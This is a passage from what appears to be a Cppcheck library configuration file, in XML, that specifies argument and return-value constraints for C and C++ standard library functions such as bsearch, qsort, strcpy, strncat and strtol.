    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2"/>
  </function>
  <!-- void* bsearch_s( const void *key, const void *ptr , rsize_t count, rsize_t size, int (*comp)(const void *, const void *, void *), void *context ); since C11-->
  <function name="bsearch_s">
    <use-retval/>
    <pure/>
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="5" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="6" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- void* bsearch  ( const void* key, const void* base   , size_t num,  size_t size, int(*compar)(const void*,const void*));-->
  <function name="bsearch,std::bsearch">
    <use-retval/>
    <pure/>
    <returnValue type="void *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="5" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- void qsort(void *base, size_t n, size_t size, int (*cmp)(const void *, const void *)); -->
  <function name="qsort,std::qsort">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4">
      <not-null/>
      <not-uninit/>
      <not-bool/>
    </arg>
  </function>
  <!-- int putc(int c, FILE *stream); -->
  <function name="putc,std::putc">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
    <arg nr="2" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- wint_t putwc(wchar_t wc, FILE* stream); -->
  <function name="putwc,std::putwc">
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- int puthchar(int c); -->
  <function name="putchar,std::putchar">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- std::ostream& std::ostream::put(char c);-->
  <function name="std::ostream::put">
    <returnValue type="std::ostream &amp;"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- std::stringstream& std::stringstream::put(char c);-->
  <function name="std::stringstream::put">
    <returnValue type="std::stringstream &amp;"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- wint_t putwchar(wchar_t wc); -->
  <function name="putwchar,std::putwchar">
    <returnValue type="wint_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int puts(const char *string); -->
  <function name="puts,std::puts">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <not-bool/>
      <strz/>
    </arg>
  </function>
  <!-- void *realloc(void *block, size_t newsize); -->
  <function name="realloc,std::realloc">
    <returnValue type="void *"/>
    <use-retval/>
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int remove(const char *filename); -->
  <function name="remove,std::remove">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int rename(const char *oldname, const char *newname); -->
  <function name="rename,std::rename">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- void rewind(FILE *stream); -->
  <function name="rewind,std::rewind">
    <noreturn>false</noreturn>
    <returnValue type="void"/>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- double round(double x); -->
  <function name="round,std::round">
    <use-retval/>
    <pure/>
    <returnValue type="double">round(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- float roundf(float x); -->
  <function name="roundf,std::roundf">
    <use-retval/>
    <pure/>
    <returnValue type="float">round(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long double roundl(long double x); -->
  <function name="roundl,std::roundl">
    <use-retval/>
    <pure/>
    <returnValue type="long double">round(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- long long int scalbn(double x, int n); -->
  <!-- long long int scalbnf(float x, int n); -->
  <!-- long long int scalbnl(long double x, int n); -->
  <!-- long long int scalbln(double x, long int n); -->
  <!-- long long int scalblnf(float x, long int n); -->
  <!-- long long int scalblnl(long double x, long int n); -->
  <function name="scalbn,std::scalbn,scalbnf,std::scalbnf,scalbnl,std::scalbnl,scalbln,std::scalbln,scalblnf,std::scalblnf,scalblnl,std::scalblnl">
    <use-retval/>
    <pure/>
    <returnValue type="long long int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int signbit(double x); -->
  <function name="signbit,std::signbit">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- void (*signal(int sig, void (*func)(int)))(int); -->
  <function name="signal,std::signal">
    <noreturn>false</noreturn>
    <arg nr="1">
      <not-uninit/>
    </arg>
    <arg nr="2"/>
  </function>
  <!-- int raise(int sig); -->
  <function name="raise,std::raise">
    <returnValue type="int"/>
    <noreturn>maybe</noreturn>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int scanf(const char *format, ...); -->
  <function name="scanf,std::scanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <formatstr scan="true"/>
    <arg nr="1" direction="in">
      <formatstr/>
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int vsscanf(const char *s, const char *format, va_list arg); -->
  <function name="vsscanf,std::vsscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3"/>
  </function>
  <!-- int vswscanf(const wchar_t *s, const wchar_t *format, va_list arg); -->
  <function name="vswscanf,std::vswscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3"/>
  </function>
  <!-- int vscanf(const char *format, va_list arg); -->
  <function name="vscanf,std::vscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2"/>
  </function>
  <!-- int vscanf(const wchar_t *format, va_list arg); -->
  <function name="vwscanf,std::vwscanf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <strz/>
    </arg>
    <arg nr="2"/>
  </function>
  <!-- void setbuf(FILE *stream, char *buf); -->
  <function name="setbuf,std::setbuf">
    <returnValue type="void"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-bool/>
    </arg>
  </function>
  <!-- int setvbuf(FILE* stream, char *buf, int mode, size_t size); -->
  <function name="setvbuf,std::setvbuf">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2">
      <not-uninit/>
      <minsize type="argvalue" arg="4"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <!-- Note: _IOFBF=0, _IOLBF=1 and _IONBF=2  has been set to in this configuration-->
      <valid>0:2</valid>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int setjmp(jmp_buf env); -->
  <function name="setjmp">
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out"/>
  </function>
  <!-- char * strcat(char *deststr, const char *srcstr); -->
  <function name="strcat,std::strcat">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" strlen-arg="2"/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- wchar_t wcscat(wchar_t *deststr, const wchar_t *srcstr); -->
  <function name="wcscat,std::wcscat">
    <returnValue type="wchar_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" strlen-arg="2"/>
    <arg nr="1" direction="inout">
      <not-null/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- size_t wcrtomb(char *s, wchar_t wc, mbstate_t *ps); -->
  <function name="wcrtomb,std::wcrtomb">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out"/>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="3" direction="inout"/>
  </function>
  <!-- char * strchr(const char *cs, int c); -->
  <function name="strchr,std::strchr">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- wchar_t* wcschr(const wchar_t *cs, wchar_t c); -->
  <function name="wcschr,std::wcschr">
    <use-retval/>
    <returnValue type="wchar_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- int strcmp(const char *str1, const char *str2); -->
  <!-- int wcscmp(const wchar_t *str1, const wchar_t *str2) -->
  <function name="strcmp,std::strcmp,wcscmp,std::wcscmp">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- char *strcpy(char *desstr, const char *srcstr); -->
  <function name="strcpy,std::strcpy">
    <returnValue type="char *">arg1</returnValue>
    <noreturn>false</noreturn>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" strlen-arg="2"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="strlen" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- errno_t strcpy_s(char *restrict dest, rsize_t destsz, const char *restrict src); // since C11 -->
  <function name="strcpy_s">
    <noreturn>false</noreturn>
    <returnValue type="errno_t"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>1:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- wchar_t *wcscpy(wchar_t *deststr, const wchar_t *srcstr); -->
  <function name="wcscpy,std::wcscpy">
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" strlen-arg="2"/>
    <arg nr="1" direction="out">
      <not-null/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- size_t strftime(char *s, size_t max, const char *fmt, const struct tm *p); -->
  <!-- size_t strfxtime(char *s, size_t max, const char *fmt, const struct tmx *p); -->
  <function name="strftime,std::strftime,strfxtime">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <formatstr/>
      <strz/>
    </arg>
    <arg nr="4" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t strlen(const char *string); -->
  <!-- size_t wcslen(const wchar_t *string); -->
  <function name="strlen,std::strlen,wcslen,std::wcslen">
    <use-retval/>
    <pure/>
    <returnValue type="size_t">strlen(arg1)</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- char *strncpy(char *s, const char *ct, size_t n); -->
  <function name="strncpy,std::strncpy">
    <returnValue type="char *">arg1</returnValue>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" size-arg="3"/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- errno_t strncpy_s(char *restrict dest, rsize_t destsz, const char *restrict src, rsize_t count); // since C11 -->
  <!-- errno_t wcsncpy_s(wchar_t *restrict dest, rsize_t destsz, const wchar_t *restrict src, rsize_t n); // since C11 -->
  <function name="strncpy_s,wcsncpy_s">
    <noreturn>false</noreturn>
    <returnValue type="errno_t"/>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <not-null/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="4"/>
      <strz/>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- const char *strpbrk(const char *str1, const char *str2); -->
  <!--       char *strpbrk(      char *str1, const char *str2); -->
  <function name="strpbrk,std::strpbrk">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- char * strncat(char *ct, const char *s, size_t n); -->
  <function name="strncat,std::strncat">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" size-arg="3"/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <strz/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- errno_t strcat_s(char *restrict dest, rsize_t destsz, const char *restrict src); // since C11-->
  <!-- errno_t wcscat_s(wchar_t *restrict dest, rsize_t destsz, const wchar_t *restrict src); // since C11-->
  <function name="strcat_s,wcscat_s">
    <returnValue type="errno_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <strz/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- errno_t strncat_s(char *restrict dest, rsize_t destsz, const char *restrict src, rsize_t count); // since C11 -->
  <function name="strncat_s">
    <noreturn>false</noreturn>
    <returnValue type="errno_t"/>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="2"/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="3" direction="in">
      <not-null/>
      <not-uninit/>
      <minsize type="argvalue" arg="4"/>
      <strz/>
    </arg>
    <arg nr="4" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- wchar_t *wcsncat(wchar_t *ct, const wchar_t *cs, size_t n); -->
  <function name="wcsncat,std::wcsncat">
    <noreturn>false</noreturn>
    <returnValue type="wchar_t *"/>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" size-arg="3"/>
    <arg nr="1" direction="inout">
      <not-null/>
      <not-uninit/>
      <strz/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int strncmp(const char *s1, const char *s2, size_t n); -->
  <!-- int wcsncmp(const wchar_t* wcs1, const wchar_t* wcs2, size_t num); -->
  <function name="strncmp,std::strncmp,wcsncmp,std::wcsncmp">
    <use-retval/>
    <pure/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- char* strstr(const char *s1, const char *s2); -->
  <function name="strstr,std::strstr">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- wchar_t *wcsstr(const wchar_t *s1, const wchar_t *s2); -->
  <function name="wcsstr,std::wcsstr">
    <use-retval/>
    <pure/>
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- size_t strspn(const char *cs, const char *ct); -->
  <function name="strspn,std::strspn">
    <use-retval/>
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- size_t strxfrm(char *ds, const char *ss, size_t n); -->
  <function name="strxfrm,std::strxfrm">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <!-- In case the 3rd argument is 0, the 1st argument is permitted to be a null pointer. (#6306) -->
    <arg nr="1" direction="out">
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- size_t wcsxfrm(wchar_t *s1, const wchar_t *s2, size_t n); -->
  <function name="wcsxfrm,std::wcsxfrm">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" size-arg="3"/>
    <!-- In case the 3rd argument is 0, the 1st argument is permitted to be a null pointer. (#6306) -->
    <arg nr="1" direction="out"/>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- size_t wcsspn(const wchar_t *s1, const wchar_t *s2); -->
  <function name="wcsspn,std::wcsspn">
    <use-retval/>
    <pure/>
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- struct lconv* localeconv(void); -->
  <function name="localeconv,std::localeconv">
    <use-retval/>
    <returnValue type="struct lconv*"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- static std::locale std::locale::global( const std::locale& loc ); -->
  <function name="std::locale::global">
    <returnValue type="struct std::locale"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- static std::locale& std::locale::classic(); -->
  <function name="std::locale::classic">
    <use-retval/>
    <noreturn>false</noreturn>
    <leak-ignore/>
  </function>
  <!-- char* setlocale(int category, const char* locale); -->
  <function name="setlocale,std::setlocale">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- char * strerror(int errornum); -->
  <function name="strerror,std::strerror">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t strcspn(const char *cs, const char *ct); -->
  <function name="strcspn,std::strcspn">
    <use-retval/>
    <pure/>
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- size_t wcscspn(const wchar_t *cs, const wchar_t *ct); -->
  <function name="wcscspn,std::wcscspn">
    <use-retval/>
    <pure/>
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- wchar_t * wcspbrk(const wchar_t *ct, wchar_t *c); -->
  <function name="wcspbrk,std::wcspbrk">
    <use-retval/>
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- wchar_t * wcsncpy(wchar_t *s, const wchar_t *cs, size_t n); -->
  <function name="wcsncpy,std::wcsncpy">
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <not-overlapping-data ptr1-arg="1" ptr2-arg="2" size-arg="3"/>
    <arg nr="1">
      <not-null/>
      <minsize type="argvalue" arg="3" baseType="wchar_t"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <not-bool/>
      <valid>0:</valid>
    </arg>
  </function>
  <!-- int strcoll(const char *cs, const char *c); -->
  <function name="strcoll,std::strcoll">
    <use-retval/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- int wcscoll(const wchar_t *s1, const wchar_t *s2); -->
  <function name="wcscoll,std::wcscoll">
    <use-retval/>
    <returnValue type="int"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- const char * strrchr(const char * str, int character);-->
  <!-- char * strrchr(char * str, int character); -->
  <function name="strrchr,std::strrchr">
    <use-retval/>
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
      <valid>0:255</valid>
    </arg>
  </function>
  <!-- const wchar_t* wcsrchr(const wchar_t* ws, wchar_t wc);-->
  <!--       wchar_t* wcsrchr(wchar_t* ws, wchar_t wc); -->
  <function name="wcsrchr,std::wcsrchr">
    <use-retval/>
    <returnValue type="wchar_t *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="in">
      <not-uninit/>
    </arg>
  </function>
  <!-- size_t wcsrtombs(char *dst, const wchar_t **src, size_t len, mbstate_t *ps); -->
  <function name="wcsrtombs,std::wcsrtombs">
    <returnValue type="size_t"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="out">
      <minsize type="argvalue" arg="3"/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
    </arg>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0:</valid>
    </arg>
    <arg nr="4" direction="inout">
      <not-null/>
    </arg>
  </function>
  <!-- char *strtok(char *s, const char *ct); -->
  <function name="strtok,std::strtok">
    <returnValue type="char *"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="inout">
      <not-uninit/>
    </arg>
    <arg nr="2" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
  </function>
  <!-- float strtof(const char *s, char **endp); -->
  <function name="strtof,std::strtof">
    <returnValue type="float"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
  </function>
  <!-- double strtod(const char *s, char **endp); -->
  <function name="strtod,std::strtod">
    <returnValue type="double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
  </function>
  <!-- long double strtold(const char *s, char **endp); -->
  <function name="strtold,std::strtold">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="long double"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
  </function>
  <!-- long strtol(const char *s, char **endp, int base); -->
  <function name="strtol,std::strtol">
    <!-- TODO #8387: use-retval is only valid when arg2==NULL -->
    <returnValue type="long"/>
    <noreturn>false</noreturn>
    <leak-ignore/>
    <arg nr="1" direction="in">
      <not-null/>
      <not-uninit/>
      <strz/>
    </arg>
    <arg nr="2" direction="out"/>
    <arg nr="3" direction="in">
      <not-uninit/>
      <valid>0,2:36</valid>
    </arg>
  </function>
  <!-- unsigned long strtoul(const char *s, char **endp, int base); -->
  <function name="strtoul,std::strtoul">
